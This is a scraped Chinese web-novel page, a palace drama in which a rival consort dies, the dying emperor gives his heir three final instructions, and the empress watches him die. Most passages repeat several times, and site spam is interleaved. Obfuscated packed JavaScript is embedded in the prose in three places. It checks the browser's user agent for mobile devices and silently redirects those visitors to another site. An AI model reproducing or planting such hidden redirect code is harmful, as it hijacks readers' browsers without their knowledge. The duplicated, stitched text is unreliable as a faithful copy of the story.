她看着两个孩子恨不得掐死他们可又舍不得。 **、愤怒、无力感通通袭来她好累想好好睡一觉就像出嫁前那样自在舒坦。 一切都该结束了她什么都不想要了。 她的眼皮忽然很沉重她心中还有个谜团“云清婳为何我总是被你预判?我究竟输在哪里?” 云清婳朝一边递出一个眼神。 巧慧走了过来“因为有我通风报信啊。” “你、你……果然是你……”苏灵音本就在弥留之际又怒火攻心浑身的痛感加倍身上的每一处毛孔似乎都 灌了风,又冷又重。 “为什么?我查过,她也没给你钱啊……” 巧慧啐了一口,“因为你们苏家视人命为草芥,你害**我的妹妹!就算是奴婢也有尊严,也是一条活生生的性命,也有家人!我终于给妹妹报仇了!” “你这个贱、贱……”苏灵音想要嘲讽,可一口气没提上来,就悔恨地阖上了眼。 她自诩聪明,却不曾想被身边最亲近的丫鬟给耍得团团转。 云清婳的鼻腔中溢出了轻蔑的哼声。 终于**! 苏灵音对她而言,从来构不成威胁,但是很麻烦! “主子,这两个胡人孩子怎么办?”飞霜问。 云清婳眼神一暗,“苏家看似团结,实则自私自利。他们为了脸面,必不会养异族血脉,把他们送去慈济院吧。” 飞霜颔首。 她心里对孩子是同情的。 毕竟孩子什么也不知道,他们也不能选择母亲。 …… 养心殿。 裴墨染扶着皇上躺回床榻上。 皇上倚靠在床头,眼皮下垂,面颊凹陷了几分,颧骨突出,明明还不到六十岁,却如同垂暮老人。 这一晚,皇上仿佛衰老了二十岁。 皇上斜睨着裴墨染脸上肿起的巴掌印,恨铁不成钢地冷哼,“没出息的东西。” 裴墨染尴尬地垂下头 蛮蛮这次打的太用力了,比以往的每一次都疼。 由此可见,她以前打他都是收着劲儿的。 这个小妮子力气真的不小! “儿臣已经罚太子妃回东宫面壁思过了。”他似真似假地说道。 皇上一脸嘲弄,显然不信。 他懒得拆穿,因为实在太疲惫,说话都像在喘气,“墨染,朕最后只交代你三件事。” 裴墨染跪下,“儿臣谨听父皇教诲。” “第一,善待云澈,你已为人父,能体谅朕对吧?”皇上自然而然道。 裴墨染的心中划过讥诮,皇上临终前还是不觉得自己有错吗? 正因为他已为人父,他才更加体会到皇上过分的偏心。 他偏爱承基、辞忧,但对于承宁,他会感到抱歉,有时会想补偿。 “第二,防着太子妃,她的眼瞳黑而深邃,太过聪明。” 裴墨染反驳:“儿臣恕难从命,太子妃不该聪明吗?难道要母后那样愚钝的人上位才行?” 皇上语塞,他没有反驳,继续道:“第三,扶持承基上位,国师批语好圣孙可以旺三代,你有今日,要感谢承基。” 裴墨染叩首,“是!” 皇上混浊的眸子一轮,凝视着裴墨染。 发白的眼球,让裴墨染更加摸不透他的心思。 良久,皇上发出一声低沉的叹息,“墨染,所有儿子里面,你跟朕是最像的。每个人最讨厌的,果真就是自己!” 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱,他早就不需要了。 他已经不需要向父皇证明自己,以此来换取他的夸赞、器重了! “把皇后召来,朕有话交代她。等天亮了,把孩子抱来,朕答应他们的风筝做好了。”他的声音越来越小。 裴墨染拱手,“是!” …… 裴墨染一出养心殿,就看见了十皇子、九皇子。 此次他能顺利带领军队回京,多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印,下意识搓了搓脸颊,露出牙痛般的表情。 裴墨染尴尬不已,不问自答道:“看什么看?本宫已经罚她面壁思过了。” 十皇子一副我懂你的表情,“云家人扇巴掌的功夫是祖传的吧?” 裴墨染似乎找到了知音,有苦难言,他低道:“除了孩子跟咱爹,所有皇子都快被云家人扇遍了。” 十皇子连声叹气,“九皇兄,你还想娶云家女子吗?” 九皇子的脑袋摇得跟拨浪鼓似的。 他可不犯贱! 九皇子岔开话头,“四哥,记得给我记头功!” 裴墨染颔首,他扯出一抹笑,望向远处的天边,“天终于亮了。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “第二防着太子妃她的眼瞳黑而深邃太过聪明。” 裴墨染反驳:“儿臣恕难从命太子妃不该聪明吗?难道要母后那样愚钝的人上位才行?” 皇上语塞他没有反驳继续道:“第三扶持承基上位国师批语好圣孙可以旺三代你有今日要感谢承基。” 裴墨染叩首“是!” 皇上混浊的眸子一轮凝视着裴墨染。 发白的眼球让裴墨染更加摸不透他的心思。 良久皇上发出一声低沉的叹息“墨染所有儿子里面你跟朕是最像的。每个人最讨厌的果真就是自己!” 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱他早就不需要了。 他已经不需要向父皇证明自己以此来换取他的夸赞、器重了! “把皇后召来朕有话交代她。等天亮了把孩子抱来朕答应他们的风筝做好了。”他的声音越来越小。 裴墨染拱手“是!” …… 裴墨染一出养心殿就看见了十皇子、九皇子。 此次他能顺利带领军队回京多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印下意识搓了搓脸颊 裴墨染尴尬不已不问自答道:“看什么看?本宫已经罚她面壁思过了。” 十皇子一副我懂你的表情“云家人扇巴掌的功夫是祖传的吧?” 裴墨染似乎找到了知音有苦难言他低道:“除了孩子跟咱爹所有皇子都快被云家人扇遍了。” 十皇子连声叹气“九皇兄你还想娶云家女子吗?” 九皇子的脑袋摇得跟拨浪鼓似的。 他可不犯贱! 九皇子岔开话头“四哥记得给我记头功!” 裴墨染颔首他扯出一抹笑望向远处的天边“天终于亮了。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “第二,防着太子妃,她的眼瞳黑而深邃,太过聪明。” 裴墨染反驳:“儿臣恕难从命,太子妃不该聪明吗?难道要母后那样愚钝的人上位才行?” 皇上语塞,他没有反驳,继续道:“第三,扶持承基上位,国师批语好圣孙可以旺三代,你有今日,要感谢承基。” 裴墨染叩首,“是!” 皇上混浊的眸子一轮,凝视着裴墨染。 发白的眼球,让裴墨染更加摸不透他的心思。 良久,皇上发出一声低沉的叹息,“墨染,所有儿子里面,你跟朕是最像的。每个人最讨厌的,果真就是自己!” 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱,他早就不需要了。 他已经不需要向父皇证明自己,以此来换取他的夸赞、器重了! “把皇后召来,朕有话交代她。等天亮了,把孩子抱来,朕答应他们的风筝做好了。”他的声音越来越小。 裴墨染拱手,“是!” …… 裴墨染一出养心殿,就看见了十皇子、九皇子。 此次他能顺利带领军队回京,多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印,下意识搓了搓脸颊,露出牙痛般的表情。 裴墨染尴尬不已,不问自答道:“看什么看?本宫已经罚她面壁思过了。” 十皇子一副我懂你的表情,“云家人扇巴掌的功夫是祖传的吧?” 裴墨染似乎找到了知音,有苦难言,他低道:“除了孩子跟咱爹,所有皇子都快被云家人扇遍了。” 十皇子连声叹气,“九皇兄,你还想娶云家女子吗?” 九皇子的脑袋摇得跟拨浪鼓似的。 他可不犯贱! 九皇子岔开话头,“四哥,记得给我记头功!” 裴墨染颔首,他扯出一抹笑,望向远处的天边,“天终于亮了。” 你的朋友正在书荒,快去帮帮他吧 “第二,防着太子妃,她的眼瞳黑而深邃,太过聪明。 裴墨染反驳:“儿臣恕难从命,太子妃不该聪明吗?难道要母后那样愚钝的人上位才行? 皇上语塞,他没有反驳,继续道:“第三,扶持承基上位,国师批语好圣孙可以旺三代,你有今日,要感谢承基。 裴墨染叩首,“是! 皇上混浊的眸子一轮,凝视着裴墨染。 发白的眼球,让裴墨染更加摸不透他的心思。 良久,皇上发出一声低沉的叹息,“墨染,所有儿子里面,你跟朕是最像的。每个人最讨厌的,果真就是自己! 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱,他早就不需要了。 他已经不需要向父皇证明自己,以此来换取他的夸赞、器重了! “把皇后召来,朕有话交代她。等天亮了,把孩子抱来,朕答应他们的风筝做好了。他的声音越来越小。 裴墨染拱手,“是! …… 裴墨染一出养心殿,就看见了十皇子、九皇子。 此次他能顺利带领军队回京,多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印,下意识搓了搓脸颊,露出牙痛般的表情。 裴墨染尴尬不已,不问自答道:“看什么看?本宫已经罚她面壁思过了。 十皇子一副我懂你的表情,“云家人扇巴掌的功夫是祖传的吧? 裴墨染似乎找到了知音,有苦难言,他低道:“除了孩子跟咱爹,所有皇子都快被云家人扇遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴墨染反驳:“儿臣恕难从命太子妃不该聪明吗?难道要母后那样愚钝的人上位才行?” 皇上语塞他没有反驳继续道:“第三扶持承基上位国师批语好圣孙可以旺三代你有今日要感谢承基。” 裴墨染叩首“是!” 皇上混浊的眸子一轮凝视着裴墨染。 发白的眼球让裴墨染更加摸不透他的心思。 良久皇上发出一声低沉的叹息 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱他早就不需要了。 他已经不需要向父皇证明自己以此来换取他的夸赞、器重了! “把皇后召来朕有话交代她。等天亮了把孩子抱来朕答应他们的风筝做好了。”他的声音越来越小。 裴墨染拱手“是!” …… 裴墨染一出养心殿就看见了十皇子、九皇子。 此次他能顺利带领军队回京多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印下意识搓了搓脸颊露出牙痛般的表情。 裴墨染尴尬不已不问自答道:“看什么看?本宫已经罚她面壁思过了。” 十皇子一副我懂你的表情“云家人扇巴掌的功夫是祖传的吧?” 裴墨染似乎找到了知音有苦难言他低道:“除了孩子跟咱爹所有皇子都快被云家人扇遍了。” 十皇子连声叹气“九皇兄你还想娶云家女子吗?” 九皇子的脑袋摇得跟拨浪鼓似的。 他可不犯贱! 九皇子岔开话头“四哥记得给我记头功!” 裴墨染颔首他扯出一抹笑望向远处的天边“天终于亮了。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “第二防着太子妃她的眼瞳黑而深邃太过聪明。” 裴墨染反驳:“儿臣恕难从命太子妃不该聪明吗?难道要母后那样愚钝的人上位才行?” 皇上语塞 裴墨染叩首“是!” 皇上混浊的眸子一轮凝视着裴墨染。 发白的眼球让裴墨染更加摸不透他的心思。 良久皇上发出一声低沉的叹息“墨染所有儿子里面你跟朕是最像的。每个人最讨厌的果真就是自己!” 裴墨染心中没有激起涟漪。 虚妄的父爱、母爱他早就不需要了。 他已经不需要向父皇证明自己以此来换取他的夸赞、器重了! “把皇后召来朕有话交代她。等天亮了把孩子抱来朕答应他们的风筝做好了。”他的声音越来越小。 裴墨染拱手“是!” …… 裴墨染一出养心殿就看见了十皇子、九皇子。 此次他能顺利带领军队回京多亏了二人的掩护跟接应。 十皇子瞅见裴墨染脸上的巴掌印下意识搓了搓脸颊露出牙痛般的表情。 裴墨染尴尬不已不问自答道:“看什么看?本宫已经罚她面壁思过了。” 十皇子一副我懂你的表情“云家人扇巴掌的功夫是祖传的吧?” 裴墨染似乎找到了知音有苦难言他低道:“除了孩子跟咱爹所有皇子都快被云家人扇遍了。” 十皇子连声叹气“九皇兄你还想娶云家女子吗?” 九皇子的脑袋摇得跟拨浪鼓似的。 他可不犯贱! 九皇子岔开话头“四哥记得给我记头功!” 裴墨染颔首他扯出一抹笑望向远处的天边“天终于亮了。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第345章 我们心有灵犀 今夜注定是难眠之夜。 子时末,裴墨染跟云清婳在慈宁宫相遇了。 二人相视一笑。 裴墨染迫不及待搂着她的腰,将她往寝殿带。 “蛮蛮,你肯定是想我了,所以故意跟我偶遇。”他脸上挂着几分无赖的笑。 云清婳揉揉他微肿起的右脸,心中无限后悔。 方才她真是被气昏了头。 裴墨染脸上的巴掌印,皇上肯定看见了。 “我才没有,我是为了看孩子。”她努努嘴。 裴墨染恍然大悟般的颔首,“所以我们是心有灵犀,不期而遇。” 她的面颊泛红,娇滴滴的脸庞似含苞待放的花骨朵,“讨厌!夫君怎么油嘴滑舌的?” 裴墨染轻捏她的腰,“孩子肯定都睡了,蛮蛮,但我不想睡。” 云清婳听懂了他的暗示,背后的汗**倒竖,“夫君臭**,而且都这么晚了,你别乱来。” 被嫌弃后,裴墨染有些羞赧,他可不想在心上人面前这么邋遢。 他松开她,站远了几步,“好些日子没沐浴了,是不是熏到你了?” 云清婳嗔怪地白了他一眼,“快去沐浴。” 裴墨染立即命人抬水,云清婳看见太后的寝宫灯火通明,她去给太后请安。 今晚的事太后一定有所耳闻。 儿女手足相残,她却无能为力,她一定是最煎熬的。 云清婳交代了皇上留了裴玉珠的性命后,太后的身心陡然一轻。 不一会儿,太后就如释重负,被云清婳伺候睡下了。 云清婳可不希望太后出事,毕竟太后将来能帮她掣肘皇后。 她去看了孩子,孩子还在酣睡,稚嫩的小脸无忧无虑。 云清婳的心中感受到了片刻安宁。 希望这两个小家伙可以健康正常的长大,千万不要像她。 一回偏房,她便被一股大力箍住后腰,双脚悬空起来。 沐浴后的潮意芬芳气息袭来,正是云清婳喜欢的香气。 “呀,裴墨染,你又欺负我。”她的腿凌空蹬了蹬。 裴墨染将她娇小的身躯搂在怀里,让她的背紧紧贴着他的胸口。 “心肝儿,乖,让我抱抱。” 他的声音喑哑而富有磁性,像是沙砾在人心上摩擦。 没有欲望,只有想念。 云清婳渐渐放弃挣扎。 他将她抱到榻上,男人庞大的身躯将她笼罩。 “夫君没受伤吧?”她柔声问。 他摇摇头,眼底泛出忧虑,“蛮蛮呢?蛮蛮可有受伤?裴玉珠那妖人可有伤你?” 她点头。 裴墨染登时火了,他腾的弹身坐起,紧张地想要检查她的身子,“伤到哪儿了?嗯?她把你哪里弄伤了?” 云清婳按住他的手,杏眸水汪汪的,“不是裴玉珠,而是夫君,你把我这里伤到了。” 她纤细修长的食指,指着心窝,“那天真把我吓到了,我还以为夫君又抛下了我,还不要孩子了。” 裴墨染的桃花眼中似有光在颤动,他并不觉得矫情,相反,他感到无尽的愧疚。 蛮蛮这么娇弱,那**后跟苏灵音联合起来欺负他们母子,那幅画面光是想想,他就心疼。 “蛮蛮,我行军时常常在想,我们跟孩子都好可怜,孩子被苏家视为眼中钉,你又被禁足,我在京外御敌,一家人连面都见不到。”他讨好地亲亲她的脸颊,像是做错事求主人原谅的小狗。 云清婳想到他在半个月里设计拦截敌军,实属不易,心中最后一丝怨念也没了。 她揉揉他的脸颊,眼中蕴着心疼,“夫君,还疼不疼啊?” “心疼了?那你亲亲我?”他调笑地问。 她娇俏地哼了一声,像只傲娇的猫儿,唇瓣在他脸颊上蜻蜓点水地贴了一下。 裴墨染捏住她的细腰,翻身将她压在身下。 啊—— 她吓得娇呼一声,“夫君又乱来!等会儿天就亮了,你不是说皇上要召见孩子吗?” “对!所以为夫会抓紧时间!”裴墨染跟抓小猫似的,捏着她的后脖颈,强势地堵住她的唇。 把她的拒绝尽数吞下。 “我是你的夫君,你得听我的。”他掌控着她的一切,她节节败退,溃不成军。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇上一怔,瞪圆了眼,他被气得猛咳起来,“咳咳咳贱妇,你说什么咳咳……” “宠妾灭妻,一对狗男女!”皇后的眼中布满红血丝,她的双手紧紧攥着。 “噗……”皇上吐出一口鲜血。 “贱妇,你个贱妇,咳咳咳……”他咳得身子蜷缩,趴在榻上,背拱起像一只虾子。 血不断从他的嘴里涌出。 吊命的止咳药就在榻前的矮几上,他伸手去够,却总差一寸,“咳咳咳……药……” 他拼尽全力,才从嘴里挤出一个字,那声音仿佛来自肺腑。 可他早就油尽灯枯,这点声音,不足以让外面的太监听见。 “咳咳咳……药,药……”他吃力地掀起眼皮看向皇后。 天亮了…… 他还没有把风筝送给辞忧,还没有信守承诺见承基最后一面,陪他们放风筝…… 他不能死! 皇后站在原地一动不动,眼神从愤怒、委屈转为轻蔑跟报复般的快意。 “毒、妇咳咳咳……”他恨恨地瞪她。 “呵呵……”皇后笑着,眼泪无声滑落,“皇上瞧不起臣妾,可曾想过你也有求臣妾的一日?” “你为了一己之私,害臣妾跟墨染蹉跎了二十三年,害臣妾跟儿子离心,势如水火,你可有一丝愧疚?” “这是你的报应!你为了宸妃这个**,害了臣妾,害了墨染,下了地府,列祖列宗也不会原谅你,你愧对大昭的江山!愧对先祖打下的基业!” 噗—— 皇上吐出一口血,他一口气没提上来,趴在榻上再也没了动静。 他的双眼凸出,死不瞑目。 皇后的眼神复杂,那是一种既酣畅又悲伤的情绪。 她走上前,伸出手,缓缓阖住他的眼皮,“臣妾死后,再给您请罪。” …… 慈宁宫。 承基、辞忧一睁眼,就看见云清婳、裴墨染站在榻前。 两个小奶包愣怔片刻,眼中旋即闪出星光。 二人蹭得从榻上爬起身,蹦跳着窜进云清婳的怀里。 “娘亲!” “我好想你呜呜呜……” 两个肉乎乎的奶团子又哭又笑,差点云清婳冲 撞倒了幸亏裴墨染在后面扶住了她。 “你们又长胖了胃口这么好真的想我了吗?”云清婳捏捏他们肚皮上的肉。 承基、辞忧咯咯地笑了。 裴墨染有点吃味他故意发出响动狠狠甩袖“你们只看见了娘?没看见爹?” “……”承基、辞忧躲进云清婳的怀里葡萄眼小心翼翼瞥着旁边的裴墨染。 他们的眼中带着显而易见的防备。 明显是上次的假裴墨染没有帮他们所以让他们失望了留下阴影了。 两个孩子早慧是明白谁对他们好谁对他们不好的。 “坏爹爹……”辞忧哇哇地哭了。 承基瘪瘪嘴眼泪在眼眶打转“不要爹爹了爹爹欺负娘亲。” 云清婳的心像是被什么东西扯了一下发出轻微的痛意。 这应该是心疼吧? 她居然对姐姐以外的人产生了心疼又是一个进步。 她越来越像一个真正的母亲了。 裴墨染眼中浮现悲痛“承基、辞忧那天的人不是爹爹爹爹怎会欺负娘跟你们?” 两个小奶包可没那么好糊弄二人显然不信他们朝云清婳投去疑惑的目光。 云清婳颔首“那天那个人真的不是爹爹是装扮成爹爹的江湖术士用来骗皇奶奶的。” 承基辞忧似懂非懂得到娘亲的认定后二人原谅了裴墨染。 “爹爹……”辞忧冲他张开双臂要抱抱。 裴墨染转悲为喜将辞忧抱起来亲亲她的脸蛋“诶!” 承基戳戳脸上同一个位置一本正经道:“我也要。” 云清婳:??? 她扑哧笑喷了。 “呵……”裴墨染忍不住笑了“蛮蛮这孩子像你不吃亏的。” 语毕裴墨染俯下身在他脸上亲了一口“承基你一个男孩这么娇气做甚?” 承基眉头一沉小嘴一撅显然又不高兴了。 裴墨染感觉承基的神色十分眼熟。 这扑面而来的熟悉感跟蛮蛮如出一辙。 但他不敢说。 洗漱完毕穿戴整齐后 裴墨染 抱着两个孩子步伐不断加快。 云清婳都快跟不上了。 她明白裴墨染是担心皇上出事毕竟昨晚皇上就已经回光返照进气少出气多了。 “皇爷爷给你们准备了礼物让爹爹一早送你们过去看!”裴墨染道。 “是香香甜甜的好吃的花生酥吗?”辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水“我看你像花生酥。” “嘻嘻……”辞忧像被夸了骄傲地扬起小脸。 快到养心殿时远处传来了呜咽的哭声。 一开始声音很小 宫女太监由远及近俯首跪下。 内务府分发着白色孝服。 裴墨染面色一变大步朝着养心殿奔去。 宫女太监、妃嫔忠臣都在跪着云清婳保持着体面不徐不疾地在后面疾步。 她发髻上的步摇微微晃动看起来急切却又不失端庄优雅。 裴墨染抱着孩子直冲养心殿。 云清婳远远地看见站在养心殿外的皇后她捏着帕子却挤不出一滴眼泪嘴角隐隐上扬。 升官发财死老公的确值得高兴。 但这可不像皇后的做派毕竟苏家的恋爱脑是祖传的。 云清婳挤出几滴眼泪走向一旁黯然神伤的箬竹“嬷嬷陛下何时去的?若是我早些带孩子来就好了这样也好让承基、辞忧见皇上最后一面。” “不关太子妃的事是皇上心疼皇孙想让皇孙睡好特意没派人通传。那时皇上正跟皇后娘娘说话没成想说着说着就……”箬竹再也说不下去哽咽着哭了出声。 御前太监将一个精致的黄花梨木盒抱来他双眼肿得像一对桃子声音颤抖“这是陛下特意命内务府做的纸鸢本来说好今日要放给郡主看的可惜世事无常……” 云清婳谢过后让王显将木盒抱着。 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧也没让太监来催就**? 凭皇上对承基、辞忧的宠爱他定会想在临终前看看孩子。 据说人在死前是有预料的皇上不可能这么没准备不声不响地就**。 疑点出在了皇后的身上。 你的朋友正在书荒,快去帮帮他吧 抱着两个孩子步伐不断加快。 云清婳都快跟不上了。 她明白裴墨染是担心皇上出事毕竟昨晚皇上就已经回光返照进气少出气多了。 “皇爷爷给你们准备了礼物让爹爹一早送你们过去看!”裴墨染道。 “是香香甜甜的好吃的花生酥吗?”辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水“我看你像花生酥。” “嘻嘻……”辞忧像被夸了骄傲地扬起小脸。 快到养心殿时远处传来了呜咽的哭声。 一开始声音很小 宫女太监由远及近俯首跪下。 内务府分发着白色孝服。 裴墨染面色一变大步朝着养心殿奔去。 宫女太监、妃嫔忠臣都在跪着云清婳保持着体面不徐不疾地在后面疾步。 她发髻上的步摇微微晃动看起来急切却又不失端庄优雅。 裴墨染抱着孩子直冲养心殿。 云清婳远远地看见站在养心殿外的皇后她捏着帕子却挤不出一滴眼泪嘴角隐隐上扬。 升官发财死老公的确值得高兴。 但这可不像皇后的做派毕竟苏家的恋爱脑是祖传的。 云清婳挤出几滴眼泪走向一旁黯然神伤的箬竹“嬷嬷陛下何时去的?若是我早些带孩子来就好了这样也好让承基、辞忧见皇上最后一面。” “不关太子妃的事是皇上心疼皇孙想让皇孙睡好特意没派人通传。那时皇上正跟皇后娘娘说话没成想说着说着就……”箬竹再也说不下去哽咽着哭了出声。 御前太监将一个精致的黄花梨木盒抱来他双眼肿得像一对桃子声音颤抖“这是陛下特意命内务府做的纸鸢本来说好今日要放给郡主看的可惜世事无常……” 云清婳谢过后让王显将木盒抱着。 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧也没让太监来催就**? 凭皇上对承基、辞忧的宠爱他定会想在临终前看看孩子。 据说人在死前是有预料的皇上不可能这么没准备不声不响地就**。 疑点出在了皇后的身上。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 抱着两个孩子,步伐不断加快。 云清婳都快跟不上了。 她明白,裴墨染是担心皇上出事,毕竟昨晚皇上就已经回光返照,进气少出气多了。 “皇爷爷给你们准备了礼物,让爹爹一早送你们过去看!裴墨染道。 “是香香甜甜的,好吃的花生酥吗?辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水,“我看你像花生酥。 “嘻嘻……辞忧像被夸了,骄傲地扬起小脸。 快到养心殿时,远处传来了呜咽的哭声。 一开始声音很小,渐渐的哭声交织成一片。 宫女太监由远及近俯首跪下。 内务府分发着白色孝服。 裴墨染面色一变,大步朝着养心殿奔去。 宫女太监、妃嫔忠臣都在跪着,云清婳保持着体面,不徐不疾地在后面疾步。 她发髻上的步摇微微晃动,看起来急切却又不失端庄优雅。 裴墨染抱着孩子,直冲养心殿。 云清婳远远地看见站在养心殿外的皇后,她捏着帕子,却挤不出一滴眼泪,嘴角隐隐上扬。 升官发财死老公,的确值得高兴。 但这可不像皇后的做派,毕竟苏家的恋爱脑是祖传的。 云清婳挤出几滴眼泪,走向一旁黯然神伤的箬竹,“嬷嬷,陛下何时去的?若是我早些带孩子来就好了,这样也好让承基、辞忧见皇上最后一面。 “不关太子妃的事,是皇上心疼皇孙,想让皇孙睡好,特意没派人通传。那时皇上正跟皇后娘娘说话,没成想,说着说着就……箬竹再也说不下去,哽咽着哭了出声。 御前太监将一个精致的黄花梨木盒抱来,他双眼肿得像一对桃子,声音颤抖,“这是陛下特意命内务府做的纸鸢,本来说好今日要放给郡主看的,可惜世事无常…… 云清婳谢过后,让王显将木盒抱着。 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧,也没让太监来催,就**? 凭皇上对承基、辞忧的宠爱,他定会想在临终前看看孩子。 据说人在死前是有预料的,皇上不可能这么没准备,不声不响地就**。 疑点出在了皇后的身上。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 抱着两个孩子步伐不断加快。 云清婳都快跟不上了。 她明白裴墨染是担心皇上出事毕竟昨晚皇上就已经回光返照进气少出气多了。 “皇爷爷给你们准备了礼物让爹爹一早送你们过去看!”裴墨染道。 “是香香甜甜的好吃的花生酥吗?”辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水“我看你像花生酥。” “嘻嘻……”辞忧像被夸了骄傲地扬起小脸。 快到养心殿时远处传来了呜咽的哭声。 一开始声音很小渐渐的哭声交织成一片。 宫女太监由远及近俯首跪下。 内务府分发着白色孝服。 裴墨染面色一变大步朝着养心殿奔去。 宫女太监、妃嫔忠臣都在跪着 她发髻上的步摇微微晃动看起来急切却又不失端庄优雅。 裴墨染抱着孩子直冲养心殿。 云清婳远远地看见站在养心殿外的皇后她捏着帕子却挤不出一滴眼泪嘴角隐隐上扬。 升官发财死老公的确值得高兴。 但这可不像皇后的做派毕竟苏家的恋爱脑是祖传的。 云清婳挤出几滴眼泪走向一旁黯然神伤的箬竹“嬷嬷陛下何时去的?若是我早些带孩子来就好了这样也好让承基、辞忧见皇上最后一面。” “不关太子妃的事是皇上心疼皇孙想让皇孙睡好特意没派人通传。那时皇上正跟皇后娘娘说话没成想说着说着就……”箬竹再也说不下去哽咽着哭了出声。 御前太监将一个精致的黄花梨木盒抱来他双眼肿得像一对桃子声音颤抖“这是陛下特意命内务府做的纸鸢本来说好今日要放给郡主看的可惜世事无常……” 云清婳谢过后让王显将木盒抱着。 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧也没让太监来催就**? 凭皇上对承基、辞忧的宠爱他定会想在临终前看看孩子。 据说人在死前是有预料的皇上不可能这么没准备不声不响地就**。 疑点出在了皇后的身上。 你的朋友正在书荒,快去帮帮他吧 抱着两个孩子,步伐不断加快。 云清婳都快跟不上了。 她明白,裴墨染是担心皇上出事,毕竟昨晚皇上就已经回光返照,进气少出气多了。 “皇爷爷给你们准备了礼物,让爹爹一早送你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373787|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们过去看!”裴墨染道。 “是香香甜甜的,好吃的花生酥吗?”辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水,“我看你像花生酥。” “嘻嘻……”辞忧像被夸了,骄傲地扬起小脸。 快到养心殿时,远处传来了呜咽的哭声。 一开始声音很小,渐渐的哭声交织成一片。 宫女太监由远及近俯首跪下。 内务府分发着白色孝服。 裴墨染面色一变,大步朝着养心殿奔去。 宫女太监、妃嫔忠臣都在跪着,云清婳保持着体面,不徐不疾地在后面疾步。 她发髻上的步摇微微晃动,看起来急切却又不失端庄优雅。 裴墨染抱着孩子,直冲养心殿。 云清婳远远地看见站在养心殿外的皇后,她捏着帕子,却挤不出一滴眼泪,嘴角隐隐上扬。 升官发财死老公,的确值得高兴。 但这可不像皇后的做派,毕竟苏家的恋爱脑是祖传的。 云清婳挤出几滴眼泪,走向一旁黯然神伤的箬竹,“嬷嬷,陛下何时去的?若是我早些带孩子来就好了,这样也好让承基、辞忧见皇上最后一面。” “不关太子妃的事,是皇上心疼皇孙,想让皇孙睡好,特意没派人通传。那时皇上正跟皇后娘娘说话,没成想,说着说着就……”箬竹再也说不下去,哽咽着哭了出声。 御前太监将一个精致的黄花梨木盒抱来,他双眼肿得像一对桃子,声音颤抖,“这是陛下特意命内务府做的纸鸢,本来说好今日要放给郡主看的,可惜世事无常……” 云清婳谢过后,让王显将木盒抱着。 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 她的心中缠绕着许多疑问。 皇上还未等来承基、辞忧,也没让太监来催,就**? 凭皇上对承基、辞忧的宠爱,他定会想在临终前看看孩子。 据说人在死前是有预料的,皇上不可能这么没准备,不声不响地就**。 疑点出在了皇后的身上。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 抱着两个孩子,步伐不断加快。 云清婳都快跟不上了。 她明白,裴墨染是担心皇上出事,毕竟昨晚皇上就已经回光返照,进气少出气多了。 “皇爷爷给你们准备了礼物,让爹爹一早送你们过去看!”裴墨染道。 “是香香甜甜的,好吃的花生酥吗?”辞忧吞了吞口水。 云清婳用帕子给她擦去嘴角的口水,“我看你像花生酥。” “嘻嘻……”辞忧像被夸了,骄傲地扬起小脸。 快到养心殿时,远处传来了呜咽的哭声。 一开始声音很小,渐渐的哭声交织成一片。 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云清婳挤出几滴眼泪走向一旁黯然神伤的箬竹“嬷嬷陛下何时去的?若是我早些带孩子来就好了这样也好让承基、辞忧见皇上最后一面。” “不关太子妃的事是皇上心疼皇孙想让皇孙睡好特意没派人通传。那时皇上正跟皇后娘娘说话没成想说着说着就……”箬竹再也说不下去哽咽着哭了出声。 